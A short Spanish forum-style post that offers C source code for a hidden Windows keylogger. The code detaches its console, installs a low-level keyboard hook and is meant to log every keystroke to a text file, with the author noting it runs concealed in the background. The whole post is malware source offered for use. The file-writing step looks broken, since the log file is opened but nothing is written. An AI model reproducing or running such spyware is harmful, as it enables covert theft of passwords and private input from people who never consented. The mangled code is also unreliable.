Hola, te dejo aquí un código de un keylogger que hice hace bastante tiempo. Coge todas las letras y las guarda en el archivo de texto de esta manera: [letra]. El programa corre en segundo plano oculto, así que cuando quieras acabarlo abre el administrador de tareas y cierra su proceso.
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>
// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);
if (hThread) return WaitForSingleObject (hThread, INFINITE);
return 1;
}
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);
// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;
// load the key name in a buffer
char keyName[0x100];
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';
// write the buffer in file
FILE
*f
= fopen ("log.txt", "a+"); }
return CallNextHookEx (NULL, nCode, wParam, lParam);
}
DWORD __stdcall Keylogger (LPVOID path) {
// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);
// two methods failed so return error
if (!hExec) return 1;
// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);
// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}
void MessageLoop (void) {
MSG message;
while (GetMessage (&message, NULL, 0, 0)) {
TranslateMessage (&message);
DispatchMessage (&message);
}
}
Espero que te sirva, saludos!